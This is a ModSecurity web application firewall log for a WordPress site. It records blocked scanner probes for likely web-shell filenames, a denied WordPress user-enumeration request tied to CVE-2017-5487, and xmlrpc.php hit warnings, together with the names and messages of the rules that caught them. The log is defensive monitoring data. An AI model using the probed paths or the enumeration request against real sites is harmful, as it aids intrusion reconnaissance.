[Thu Apr 23 20:12:08.014155 2026] [:error] [pid 64998:tid 65004] [client 20.203.242.251:15597] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/gcqoa.php"] [unique_id "aeoMmIV5EysYcTLjmwhRGQAAAcI"]
[Thu Apr 23 20:12:09.841746 2026] [:error] [pid 59700:tid 59710] [client 20.203.242.251:13569] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/gcqoa.php"] [unique_id "aeoMmZXyGZJFeAIDWtkZegAAAUg"]
[Thu Apr 23 20:12:13.622272 2026] [:error] [pid 65000:tid 65050] [client 20.203.242.251:1477] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xxx.php"] [unique_id "aeoMnb6vRb9j6psK2ZZKSgAAAhE"]
[Thu Apr 23 20:12:18.753160 2026] [:error] [pid 64998:tid 65025] [client 20.203.242.251:24215] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xxx.php"] [unique_id "aeoMooV5EysYcTLjmwhRIwAAAdc"]
[Thu Apr 23 20:12:22.367704 2026] [:error] [pid 42972:tid 43016] [client 20.203.242.251:13629] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xxx.php"] [unique_id "aeoMpsOAb-3sOknsk4cccgAAAEA"]
[Thu Apr 23 20:12:26.491976 2026] [:error] [pid 59700:tid 59724] [client 20.203.242.251:37749] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/b.php"] [unique_id "aeoMqpXyGZJFeAIDWtkZhwAAAVY"]
[Thu Apr 23 20:12:29.676531 2026] [:error] [pid 42972:tid 43032] [client 20.203.242.251:20047] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/b.php"] [unique_id "aeoMrcOAb-3sOknsk4ccgQAAAFA"]
[Thu Apr 23 20:16:08.478556 2026] [:error] [pid 43083:tid 43093] [client 41.104.37.134:51351] [client 41.104.37.134] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aeoNiDC5hrvNXosL83JuuAAAAMg"]
[Thu Apr 23 20:16:35.249388 2026] [:error] [pid 59700:tid 59708] [client 41.104.37.134:51608] [client 41.104.37.134] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.104.37.134, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeoNo5XyGZJFeAIDWtkaOwAAAUY"]
[Thu Apr 23 20:17:00.340484 2026] [:error] [pid 42972:tid 43031] [client 41.104.37.134:51870] [client 41.104.37.134] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.104.37.134, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeoNvMOAb-3sOknsk4cedQAAAE8"]
[Thu Apr 23 20:17:28.485965 2026] [:error] [pid 65000:tid 65031] [client 41.104.37.134:52179] [client 41.104.37.134] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.104.37.134, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeoN2L6vRb9j6psK2ZZOfAAAAgI"]
[Thu Apr 23 20:17:55.282637 2026] [:error] [pid 65000:tid 65057] [client 41.104.37.134:52536] [client 41.104.37.134] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.104.37.134, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeoN876vRb9j6psK2ZZPIwAAAhg"]
[Thu Apr 23 20:52:35.930861 2026] [:error] [pid 42972:tid 43036] [client 74.248.121.178:4170] [client 74.248.121.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wziar1.php"] [unique_id "aeoWE8OAb-3sOknsk4cuNAAAAFQ"]
[Thu Apr 23 20:52:39.467126 2026] [:error] [pid 64998:tid 65022] [client 74.248.121.178:44017] [client 74.248.121.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wziar1.php"] [unique_id "aeoWF4V5EysYcTLjmwhpnwAAAdQ"]
[Thu Apr 23 20:52:42.359701 2026] [:error] [pid 42972:tid 43016] [client 74.248.121.178:42870] [client 74.248.121.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wziar1.php"] [unique_id "aeoWGsOAb-3sOknsk4cuOwAAAEA"]
[Thu Apr 23 20:52:46.463423 2026] [:error] [pid 42972:tid 43032] [client 74.248.121.178:5008] [client 74.248.121.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wziar1.php"] [unique_id "aeoWHsOAb-3sOknsk4cuUgAAAFA"]
[Thu Apr 23 20:52:49.043640 2026] [:error] [pid 64998:tid 65015] [client 74.248.121.178:47313] [client 74.248.121.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/oLEzRVqmJJPFSucdefault.php"] [unique_id "aeoWIYV5EysYcTLjmwhp1wAAAc0"]
[Thu Apr 23 20:52:55.403336 2026] [:error] [pid 64998:tid 65017] [client 74.248.121.178:39702] [client 74.248.121.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/oLEzRVqmJJPFSucdefault.php"] [unique_id "aeoWJ4V5EysYcTLjmwhp6wAAAc8"]
[Thu Apr 23 20:53:06.424078 2026] [:error] [pid 42972:tid 43021] [client 74.248.121.178:48996] [client 74.248.121.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/7logs.php"] [unique_id "aeoWMsOAb-3sOknsk4cupAAAAEU"]
[Thu Apr 23 20:53:10.215265 2026] [:error] [pid 64967:tid 64990] [client 74.248.121.178:63091] [client 74.248.121.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/7logs.php"] [unique_id "aeoWNoAV4GfOOdX8QzpyjAAAAZU"]
[Thu Apr 23 20:53:13.451230 2026] [:error] [pid 46953:tid 46980] [client 74.248.121.178:63058] [client 74.248.121.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/7logs.php"] [unique_id "aeoWOUnlpdHh-P6wKbozKwAAAlc"]
[Thu Apr 23 20:53:14.449803 2026] [:error] [pid 59700:tid 59707] [client 74.248.121.178:57020] [client 74.248.121.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/7logs.php"] [unique_id "aeoWOpXyGZJFeAIDWtkiPAAAAUU"]
[Thu Apr 23 20:53:16.982999 2026] [:error] [pid 42972:tid 43021] [client 74.248.121.178:42819] [client 74.248.121.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "aeoWPMOAb-3sOknsk4cuvAAAAEU"]
[Thu Apr 23 20:53:19.758302 2026] [:error] [pid 59700:tid 59724] [client 74.248.121.178:4123] [client 74.248.121.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "aeoWP5XyGZJFeAIDWtkiQgAAAVY"]
[Thu Apr 23 20:53:21.200140 2026] [:error] [pid 65000:tid 65037] [client 74.248.121.178:50613] [client 74.248.121.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "aeoWQb6vRb9j6psK2ZZtuQAAAgQ"]
[Thu Apr 23 20:53:23.854554 2026] [:error] [pid 64967:tid 64969] [client 74.248.121.178:4672] [client 74.248.121.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "aeoWQ4AV4GfOOdX8QzpykAAAAYA"]
[Thu Apr 23 20:53:26.322939 2026] [:error] [pid 42973:tid 43055] [client 74.248.121.178:58992] [client 74.248.121.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "aeoWRm6I0QqmmmLTHE0QDQAAAIw"]
[Thu Apr 23 20:53:30.391539 2026] [:error] [pid 59700:tid 59722] [client 74.248.121.178:59000] [client 74.248.121.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "aeoWSpXyGZJFeAIDWtkiSgAAAVQ"]
[Thu Apr 23 20:53:52.900657 2026] [:error] [pid 65000:tid 65044] [client 74.248.121.178:58501] [client 74.248.121.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8.php"] [unique_id "aeoWYL6vRb9j6psK2ZZt-AAAAgs"]
[Thu Apr 23 20:53:57.354760 2026] [:error] [pid 59700:tid 59724] [client 74.248.121.178:58982] [client 74.248.121.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8.php"] [unique_id "aeoWZZXyGZJFeAIDWtkicAAAAVY"]
[Thu Apr 23 20:54:03.194088 2026] [:error] [pid 42971:tid 43002] [client 74.248.121.178:4391] [client 74.248.121.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8.php"] [unique_id "aeoWazEP2_5RswrH8bEmrgAAABA"]
[Thu Apr 23 20:54:07.095184 2026] [:error] [pid 25635:tid 25648] [client 74.248.121.178:54437] [client 74.248.121.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8.php"] [unique_id "aeoWb8Rxv6UsgRGKB3IxSgAAAQk"]
[Thu Apr 23 20:54:11.476034 2026] [:error] [pid 59700:tid 59712] [client 74.248.121.178:42282] [client 74.248.121.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "aeoWc5XyGZJFeAIDWtkiggAAAUo"]
[Thu Apr 23 20:54:17.505568 2026] [:error] [pid 42973:tid 43055] [client 74.248.121.178:42255] [client 74.248.121.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "aeoWeW6I0QqmmmLTHE0QXQAAAIw"]
[Thu Apr 23 20:54:19.396482 2026] [:error] [pid 65000:tid 65041] [client 74.248.121.178:4265] [client 74.248.121.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "aeoWe76vRb9j6psK2ZZuKgAAAgg"]
[Thu Apr 23 20:54:32.023506 2026] [:error] [pid 46953:tid 46964] [client 74.248.121.178:61924] [client 74.248.121.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bfil.php"] [unique_id "aeoWiEnlpdHh-P6wKbozewAAAkg"]
[Thu Apr 23 20:55:12.046421 2026] [:error] [pid 65000:tid 65040] [client 74.248.121.178:46198] [client 74.248.121.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gptsh.php"] [unique_id "aeoWsL6vRb9j6psK2ZZu-AAAAgc"]
[Thu Apr 23 20:55:16.518775 2026] [:error] [pid 42973:tid 43051] [client 74.248.121.178:29571] [client 74.248.121.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gptsh.php"] [unique_id "aeoWtG6I0QqmmmLTHE0QlwAAAIg"]
[Thu Apr 23 20:55:18.624473 2026] [:error] [pid 42971:tid 43007] [client 74.248.121.178:53107] [client 74.248.121.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gptsh.php"] [unique_id "aeoWtjEP2_5RswrH8bEmzgAAABU"]
[Thu Apr 23 20:55:19.900384 2026] [:error] [pid 42973:tid 43054] [client 74.248.121.178:30707] [client 74.248.121.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gptsh.php"] [unique_id "aeoWt26I0QqmmmLTHE0QnQAAAIs"]
[Thu Apr 23 20:55:22.867516 2026] [:error] [pid 46953:tid 46979] [client 74.248.121.178:64611] [client 74.248.121.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0x.php"] [unique_id "aeoWuknlpdHh-P6wKbozmgAAAlY"]
[Thu Apr 23 20:55:28.761966 2026] [:error] [pid 64998:tid 65013] [client 74.248.121.178:36123] [client 74.248.121.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0x.php"] [unique_id "aeoWwIV5EysYcTLjmwhrUAAAAcs"]
[Thu Apr 23 20:55:33.010073 2026] [:error] [pid 64998:tid 65006] [client 74.248.121.178:42800] [client 74.248.121.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0x.php"] [unique_id "aeoWxYV5EysYcTLjmwhrYAAAAcQ"]
[Thu Apr 23 20:55:36.655135 2026] [:error] [pid 65000:tid 65039] [client 74.248.121.178:64612] [client 74.248.121.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bgymj.php"] [unique_id "aeoWyL6vRb9j6psK2ZZvRwAAAgY"]
[Thu Apr 23 20:55:42.250537 2026] [:error] [pid 65000:tid 65050] [client 74.248.121.178:64632] [client 74.248.121.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bgymj.php"] [unique_id "aeoWzr6vRb9j6psK2ZZvVgAAAhE"]
[Thu Apr 23 20:55:49.049970 2026] [:error] [pid 46953:tid 46965] [client 74.248.121.178:53476] [client 74.248.121.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bgymj.php"] [unique_id "aeoW1UnlpdHh-P6wKbozrwAAAkk"]
[Thu Apr 23 20:55:51.565513 2026] [:error] [pid 42971:tid 42987] [client 74.248.121.178:31157] [client 74.248.121.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bgymj.php"] [unique_id "aeoW1zEP2_5RswrH8bEm2gAAAAE"]
[Thu Apr 23 20:55:57.542929 2026] [:error] [pid 42972:tid 43021] [client 74.248.121.178:30710] [client 74.248.121.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/100.php"] [unique_id "aeoW3cOAb-3sOknsk4cwAwAAAEU"]
[Thu Apr 23 20:56:00.889137 2026] [:error] [pid 64998:tid 65020] [client 74.248.121.178:37157] [client 74.248.121.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/100.php"] [unique_id "aeoW4IV5EysYcTLjmwhrwAAAAdI"]
[Thu Apr 23 20:56:03.896822 2026] [:error] [pid 42972:tid 43021] [client 74.248.121.178:53117] [client 74.248.121.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/100.php"] [unique_id "aeoW48OAb-3sOknsk4cwFQAAAEU"]
[Thu Apr 23 20:56:35.236974 2026] [:error] [pid 64998:tid 65022] [client 74.248.121.178:59009] [client 74.248.121.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Cap.php"] [unique_id "aeoXA4V5EysYcTLjmwhsOgAAAdQ"]
[Thu Apr 23 20:56:38.491068 2026] [:error] [pid 65000:tid 65052] [client 74.248.121.178:33565] [client 74.248.121.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Cap.php"] [unique_id "aeoXBr6vRb9j6psK2ZZwXgAAAhM"]
[Thu Apr 23 20:56:41.961618 2026] [:error] [pid 59700:tid 59713] [client 74.248.121.178:38227] [client 74.248.121.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Cap.php"] [unique_id "aeoXCZXyGZJFeAIDWtki-gAAAUs"]
[Thu Apr 23 20:56:46.517525 2026] [:error] [pid 64998:tid 65008] [client 74.248.121.178:4419] [client 74.248.121.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Cap.php"] [unique_id "aeoXDoV5EysYcTLjmwhsVgAAAcY"]
[Thu Apr 23 20:56:49.894312 2026] [:error] [pid 65000:tid 65046] [client 74.248.121.178:39238] [client 74.248.121.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tfm.php"] [unique_id "aeoXEb6vRb9j6psK2ZZwowAAAg0"]
[Thu Apr 23 20:56:53.617740 2026] [:error] [pid 42973:tid 43048] [client 74.248.121.178:37207] [client 74.248.121.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tfm.php"] [unique_id "aeoXFW6I0QqmmmLTHE0RDAAAAIU"]
